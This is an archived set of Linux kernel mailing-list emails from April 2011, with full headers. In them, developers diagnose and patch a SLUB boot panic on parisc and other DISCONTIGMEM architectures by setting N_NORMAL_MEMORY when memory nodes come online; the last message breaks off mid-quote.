From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 16:12:36 -0700 (PDT)
Lines: 125
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420174027.4631.A69D9226@jp.fujitsu.com> <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
 <1303337718.2587.51.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303341169 19315 80.91.229.12 (20 Apr 2011 23:12:49 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 23:12:49 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 01:12:43 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCgZe-0007vH-Rn
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 01:12:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752762Ab1DTXMm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 19:12:42 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:15071 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752737Ab1DTXMl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 19:12:41 -0400
Original-Received: from wpaz33.hot.corp.google.com (wpaz33.hot.corp.google.com [172.24.198.97])
	by smtp-out.google.com with ESMTP id p3KNCdRq011458
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 16:12:39 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303341159; bh=ENzURK6r1oea+F31nsNA1ihEBbI=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=WP5m4mSBU9KelIvuzuxMcqPZA3G7H20jay4mas3VxkGw97RyG9TQoM24p4BKCIA8G
	 /2/eXLhTs1hAYuGnAn46Q==
Original-Received: from pvf33 (pvf33.prod.google.com [10.241.210.97])
	by wpaz33.hot.corp.google.com with ESMTP id p3KNCZjl019429
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 16:12:38 -0700
Original-Received: by pvf33 with SMTP id 33so770770pvf.38
        for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 16:12:37 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=8fODnIaKvCeK30wRpFZqWjqg3QPI4YPeT9rCBIZVEzA=;
        b=MS2wU/atmUSli3vv9mz3jiX6kP3jRdQdqGrODtKLEVG1qHM/av+b9XfdGbvCAtnJYS
         fdeI9TPBpWgI8sdVnwNg==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=AH/YDa7GqFTKjyaU9kMDCz8Dc+TwAx73jh4AF5b/SRgJny8afIvte9q3/diSj1CSV4
         zbUL9xJv5X1zNZ/YUJlA==
Original-Received: by 10.68.55.195 with SMTP id u3mr6069194pbp.339.1303341157661;
        Wed, 20 Apr 2011 16:12:37 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id o4sm36652pbl.98.2011.04.20.16.12.36
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 16:12:36 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <1303337718.2587.51.camel@mulgrave.site>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3632 gmane.linux.kernel.mm:61715 gmane.linux.kernel:1129271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3632>

On Wed, 20 Apr 2011, James Bottomley wrote:

> > This is probably because the parisc's DISCONTIGMEM memory ranges don't 
> > have bits set in N_NORMAL_MEMORY.
> > 
> > diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> > --- a/arch/parisc/mm/init.c
> > +++ b/arch/parisc/mm/init.c
> > @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
> >  	}
> >  	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
> >  
> > -	for (i = 0; i < npmem_ranges; i++)
> > +	for (i = 0; i < npmem_ranges; i++) {
> > +		node_set_state(i, N_NORMAL_MEMORY);
> >  		node_set_online(i);
> > +	}
> >  #endif
> 
> Yes, this seems to be the missing piece that gets it to boot.  We really
> need this in generic code, unless someone wants to run through all the
> other arch's doing it ...
> 

Looking at all other architectures that allow ARCH_DISCONTIGMEM_ENABLE, we 
already know x86 is fine, avr32 disables ARCH_DISCONTIGMEM_ENABLE entirely 
because its code only brings online node 0, and tile already sets the bit 
in N_NORMAL_MEMORY correctly when bringing a node online, probably because 
it was introduced after the various node state masks were added in 
7ea1530ab3fd back in October 2007.

So we're really only talking about alpha, ia64, m32r, m68k, and mips and 
it only seems to matter when using CONFIG_SLUB, which isn't surprising 
when greping for it:

	$ grep -r N_NORMAL_MEMORY mm/*
	mm/memcontrol.c:	if (!node_state(node, N_NORMAL_MEMORY))
	mm/memcontrol.c:		if (!node_state(node, N_NORMAL_MEMORY))
	mm/page_alloc.c:	[N_NORMAL_MEMORY] = { { [0] = 1UL } },
	mm/page_alloc.c:			node_set_state(zone_to_nid(zone), N_NORMAL_MEMORY);
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:		for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:		for_each_node_state(node, N_NORMAL_MEMORY) {
	mm/slub.c:	for_each_node_state(node, N_NORMAL_MEMORY)

Those memory controller occurrences only result in it passing a node id of 
-1 to kmalloc_node() which means no specific node target, and that's fine 
for DISCONTIGMEM since we don't care about any proximity between memory 
ranges.

This should fix the remaining architectures so they can use CONFIG_SLUB, 
but I hope it can be tested by the individual arch maintainers like you 
did for parisc.

diff --git a/arch/alpha/mm/numa.c b/arch/alpha/mm/numa.c
--- a/arch/alpha/mm/numa.c
+++ b/arch/alpha/mm/numa.c
@@ -245,6 +245,7 @@ setup_memory_node(int nid, void *kernel_end)
 			bootmap_size, BOOTMEM_DEFAULT);
 	printk(" reserving pages %ld:%ld\n", bootmap_start, bootmap_start+PFN_UP(bootmap_size));
 
+	node_set_state(nid, N_NORMAL_MEMORY);
 	node_set_online(nid);
 }
 
diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -573,6 +573,8 @@ void __init find_memory(void)
 				  map>>PAGE_SHIFT,
 				  bdp->node_min_pfn,
 				  bdp->node_low_pfn);
+		if (node_present_pages(node))
+			node_set_state(node, N_NORMAL_MEMORY);
 	}
 
 	efi_memmap_walk(filter_rsvd_memory, free_node_bootmem);
diff --git a/arch/m32r/kernel/setup.c b/arch/m32r/kernel/setup.c
--- a/arch/m32r/kernel/setup.c
+++ b/arch/m32r/kernel/setup.c
@@ -247,7 +247,9 @@ void __init setup_arch(char **cmdline_p)
 
 #ifdef CONFIG_DISCONTIGMEM
 	nodes_clear(node_online_map);
+	node_set_state(0, N_NORMAL_MEMORY);	/* always has memory */
 	node_set_online(0);
+	node_set_state(1, N_NORMAL_MEMORY);	/* always has memory */
 	node_set_online(1);
 #endif	/* CONFIG_DISCONTIGMEM */
 
diff --git a/arch/m68k/mm/init_mm.c b/arch/m68k/mm/init_mm.c
--- a/arch/m68k/mm/init_mm.c
+++ b/arch/m68k/mm/init_mm.c
@@ -59,6 +59,8 @@ void __init m68k_setup_node(int node)
 	}
 #endif
 	pg_data_map[node].bdata = bootmem_node_data + node;
+	if (node_present_pages(node))
+		node_set_state(node, N_NORMAL_MEMORY);
 	node_set_online(node);
 }
 
diff --git a/arch/mips/sgi-ip27/ip27-memory.c b/arch/mips/sgi-ip27/ip27-memory.c
--- a/arch/mips/sgi-ip27/ip27-memory.c
+++ b/arch/mips/sgi-ip27/ip27-memory.c
@@ -471,6 +471,8 @@ void __init paging_init(void)
 
 		if (end_pfn > max_low_pfn)
 			max_low_pfn = end_pfn;
+		if (end_pfn > start_pfn)
+			node_set_state(node, N_NORMAL_MEMORY);
 	}
 	zones_size[ZONE_NORMAL] = max_low_pfn;
 	free_area_init_nodes(zones_size);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Rientjes <rientjes@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [patch] parisc: set memory ranges in N_NORMAL_MEMORY when onlined
Date: Wed, 20 Apr 2011 19:27:13 -0700 (PDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104201926300.15661@chino.kir.corp.google.com>
References: <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420174027.4631.A69D9226@jp.fujitsu.com> <1303317178.2587.30.camel@mulgrave.site>
 <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303352851 5356 80.91.229.12 (21 Apr 2011 02:27:31 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 02:27:31 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	James Bottomley <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 04:27:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCjc0-0007G6-4Q
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 04:27:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752081Ab1DUC1T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 22:27:19 -0400
Original-Received: from smtp-out.google.com ([74.125.121.67]:41748 "EHLO
	smtp-out.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751567Ab1DUC1S (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 22:27:18 -0400
Original-Received: from hpaq2.eem.corp.google.com (hpaq2.eem.corp.google.com [172.25.149.2])
	by smtp-out.google.com with ESMTP id p3L2RHZe023924
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 19:27:17 -0700
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=google.com; s=beta;
	t=1303352837; bh=cMlgz8C2u94N2mHW1j5hHLUFo3I=;
	h=Date:From:To:cc:Subject:In-Reply-To:Message-ID:References:
	 MIME-Version:Content-Type;
	b=VuhSiaHv0YTjCRXY5yi2J38Ru+pcoiYqu94S7jp9eMF2JzP14t2Y/AB4NAxqscGAa
	 TniG0Ba/QnEz9OlAnFU4A==
Original-Received: from pzk9 (pzk9.prod.google.com [10.243.19.137])
	by hpaq2.eem.corp.google.com with ESMTP id p3L2QXRh022361
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=NOT)
	for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 19:27:16 -0700
Original-Received: by pzk9 with SMTP id 9so893251pzk.5
        for <linux-parisc@vger.kernel.org>; Wed, 20 Apr 2011 19:27:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=beta;
        h=domainkey-signature:date:from:x-x-sender:to:cc:subject:in-reply-to
         :message-id:references:user-agent:mime-version:content-type;
        bh=HcN1Mh+4EinHVKa8nhmpRbkTbOMcyNJCwDOMuKEteGw=;
        b=OvESsf+SaSil1wr0UhIA94V08gxFp9VaEzEWAns9V55nM2KFbOIOcmmtPMtDkhH8Al
         Ah/OPTnJajYUeRap7yig==
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=google.com; s=beta;
        h=date:from:x-x-sender:to:cc:subject:in-reply-to:message-id
         :references:user-agent:mime-version:content-type;
        b=OlWwQRw9W8jMpl4EAbFqqDMBV4nsW0uBqrIOEVe7l2NWyKd8Be63BAw/YqQz3FxyzS
         ZvJSNnVyKSDEBkgj3cgw==
Original-Received: by 10.68.26.134 with SMTP id l6mr3448118pbg.235.1303352835462;
        Wed, 20 Apr 2011 19:27:15 -0700 (PDT)
Original-Received: from chino.kir.corp.google.com (chino.kir.corp.google.com [172.31.6.12])
        by mx.google.com with ESMTPS id d3sm992338pbh.73.2011.04.20.19.27.14
        (version=TLSv1/SSLv3 cipher=OTHER);
        Wed, 20 Apr 2011 19:27:14 -0700 (PDT)
X-X-Sender: rientjes@chino.kir.corp.google.com
In-Reply-To: <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3633 gmane.linux.kernel:1129324
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3633>

When a DISCONTIGMEM memory range is brought online as a NUMA node, it 
also needs to have its bet set in N_NORMAL_MEMORY.  This is necessary for 
generic kernel code that utilizes N_NORMAL_MEMORY as a subset of N_ONLINE 
for memory savings.

These types of hacks can hopefully be removed once DISCONTIGMEM is either 
removed or abstracted away from CONFIG_NUMA.

Fixes a panic in the slub code which only initializes structures for 
N_NORMAL_MEMORY to save memory:

	Backtrace:
	 [<000000004021c938>] add_partial+0x28/0x98
	 [<000000004021faa0>] __slab_free+0x1d0/0x1d8
	 [<000000004021fd04>] kmem_cache_free+0xc4/0x128
	 [<000000004033bf9c>] ida_get_new_above+0x21c/0x2c0
	 [<00000000402a8980>] sysfs_new_dirent+0xd0/0x238
	 [<00000000402a974c>] create_dir+0x5c/0x168
	 [<00000000402a9ab0>] sysfs_create_dir+0x98/0x128
	 [<000000004033d6c4>] kobject_add_internal+0x114/0x258
	 [<000000004033d9ac>] kobject_add_varg+0x7c/0xa0
	 [<000000004033df20>] kobject_add+0x50/0x90
	 [<000000004033dfb4>] kobject_create_and_add+0x54/0xc8
	 [<00000000407862a0>] cgroup_init+0x138/0x1f0
	 [<000000004077ce50>] start_kernel+0x5a0/0x840
	 [<000000004011fa3c>] start_parisc+0xa4/0xb8
	 [<00000000404bb034>] packet_ioctl+0x16c/0x208
	 [<000000004049ac30>] ip_mroute_setsockopt+0x260/0xf20

Tested-by: James Bottomley <James.Bottomley@hansenpartnership.com>
Signed-off-by: David Rientjes <rientjes@google.com>
---
 arch/parisc/mm/init.c |    4 +++-
 1 files changed, 3 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
 	}
 	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
 
-	for (i = 0; i < npmem_ranges; i++)
+	for (i = 0; i < npmem_ranges; i++) {
+		node_set_state(i, N_NORMAL_MEMORY);
 		node_set_online(i);
+	}
 #endif
 
 	/*
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Thu, 21 Apr 2011 22:03:25 +0900 (JST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20110421220351.9180.A69D9226@jp.fujitsu.com>
References: <1303317178.2587.30.camel@mulgrave.site> <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303391020 11557 80.91.229.12 (21 Apr 2011 13:03:40 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 13:03:40 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 15:03:33 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCtXe-0000Oe-H7
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 15:03:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751778Ab1DUND3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 09:03:29 -0400
Original-Received: from fgwmail6.fujitsu.co.jp ([192.51.44.36]:44183 "EHLO
	fgwmail6.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751434Ab1DUND2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 09:03:28 -0400
Original-Received: from m1.gw.fujitsu.co.jp (unknown [10.0.50.71])
	by fgwmail6.fujitsu.co.jp (Postfix) with ESMTP id 4DE1D3EE0B5;
	Thu, 21 Apr 2011 22:03:27 +0900 (JST)
Original-Received: from smail (m1 [127.0.0.1])
	by outgoing.m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 34DE745DE59;
	Thu, 21 Apr 2011 22:03:27 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (s1.gw.fujitsu.co.jp [10.0.50.91])
	by m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 1B48F45DE58;
	Thu, 21 Apr 2011 22:03:27 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id 05BE6E78001;
	Thu, 21 Apr 2011 22:03:27 +0900 (JST)
Original-Received: from ml13.s.css.fujitsu.com (ml13.s.css.fujitsu.com [10.240.81.133])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id C1D2B1DB804A;
	Thu, 21 Apr 2011 22:03:26 +0900 (JST)
Original-Received: from ml13.css.fujitsu.com (ml13 [127.0.0.1])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id 8BF9DFD0005;
	Thu, 21 Apr 2011 22:03:26 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by ml13.s.css.fujitsu.com (Postfix) with ESMTP id E4FD5FD0001;
	Thu, 21 Apr 2011 22:03:25 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Thu, 21 Apr 2011 22:04:11 +0900 (JST)
In-Reply-To: <alpine.DEB.2.00.1104201410350.31768@chino.kir.corp.google.com>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3634 gmane.linux.kernel.mm:61779 gmane.linux.kernel:1129504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3634>

> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -266,8 +266,10 @@ static void __init setup_bootmem(void)
>  	}
>  	memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
>  
> -	for (i = 0; i < npmem_ranges; i++)
> +	for (i = 0; i < npmem_ranges; i++) {
> +		node_set_state(i, N_NORMAL_MEMORY);
>  		node_set_online(i);
> +	}
>  #endif


I'm surprised this one. If arch code doesn't initialized N_NORMAL_MEMORY,
(or N_HIGH_MEMORY. N_HIGH_MEMORY == N_NORMAL_MEMORY if CONFIG_HIGHMEM=n)
kswapd is created only at node0. wow.

The initialization must be necessary even if !NUMA, I think. ;-)
Probably we should have revisit all arch code when commit 9422ffba4a 
(Memoryless nodes: No need for kswapd) was introduced, at least.

Thank you David. and I'm sad this multi level unforunate mismatch....


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to expand_upwards
Date: Thu, 21 Apr 2011 22:16:41 +0900 (JST)
Lines: 74
Approved: news@gmane.org
Message-ID: <20110421221712.9184.A69D9226@jp.fujitsu.com>
References: <1303337718.2587.51.camel@mulgrave.site> <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303391814 16695 80.91.229.12 (21 Apr 2011 13:16:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 21 Apr 2011 13:16:54 +0000 (UTC)
Cc: kosaki.motohiro@jp.fujitsu.com,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Pekka Enberg <penberg@kernel.org>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, Ingo Molnar <mingo@elte.hu>,
	x86 maintainers <x86@kernel.org>
To: David Rientjes <rientjes@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 21 15:16:47 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCtkT-0000uJ-Uy
	for glpp-linux-parisc@lo.gmane.org; Thu, 21 Apr 2011 15:16:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752177Ab1DUNQp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 21 Apr 2011 09:16:45 -0400
Original-Received: from fgwmail5.fujitsu.co.jp ([192.51.44.35]:44408 "EHLO
	fgwmail5.fujitsu.co.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752010Ab1DUNQo (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 21 Apr 2011 09:16:44 -0400
Original-Received: from m1.gw.fujitsu.co.jp (unknown [10.0.50.71])
	by fgwmail5.fujitsu.co.jp (Postfix) with ESMTP id 2957E3EE0BD;
	Thu, 21 Apr 2011 22:16:43 +0900 (JST)
Original-Received: from smail (m1 [127.0.0.1])
	by outgoing.m1.gw.fujitsu.co.jp (Postfix) with ESMTP id 0E6922AEA8D;
	Thu, 21 Apr 2011 22:16:43 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (s1.gw.fujitsu.co.jp [10.0.50.91])
	by m1.gw.fujitsu.co.jp (Postfix) with ESMTP id CE27C45DE56;
	Thu, 21 Apr 2011 22:16:42 +0900 (JST)
Original-Received: from s1.gw.fujitsu.co.jp (localhost.localdomain [127.0.0.1])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id C1E3BE08001;
	Thu, 21 Apr 2011 22:16:42 +0900 (JST)
Original-Received: from m106.s.css.fujitsu.com (m106.s.css.fujitsu.com [10.240.81.146])
	by s1.gw.fujitsu.co.jp (Postfix) with ESMTP id 7A8AC1DB8042;
	Thu, 21 Apr 2011 22:16:42 +0900 (JST)
Original-Received: from m106.css.fujitsu.com (m106 [127.0.0.1])
	by m106.s.css.fujitsu.com (Postfix) with ESMTP id 3ACE5A10005;
	Thu, 21 Apr 2011 22:16:42 +0900 (JST)
Original-Received: from [127.0.0.1] (unknown [10.124.101.92])
	by m106.s.css.fujitsu.com (Postfix) with ESMTP id 916E0A10003;
	Thu, 21 Apr 2011 22:16:41 +0900 (JST)
X-SecurityPolicyCheck-FJ: OK by FujitsuOutboundMailChecker v1.3.1
Original-Received: from KOSANOTE2[10.124.101.92] by KOSANOTE2 (FujitsuOutboundMailChecker v1.3.1/9992[10.124.101.92]); Thu, 21 Apr 2011 22:17:27 +0900 (JST)
In-Reply-To: <alpine.DEB.2.00.1104201530430.13948@chino.kir.corp.google.com>
X-Mailer: Becky! ver. 2.56.05 [ja]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3635 gmane.linux.kernel.mm:61783 gmane.linux.kernel:1129512
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3635>

> On Wed, 20 Apr 2011, James Bottomley wrote:
> 
> > > This is probably because the parisc's DISCONTIGMEM memory ranges don't 
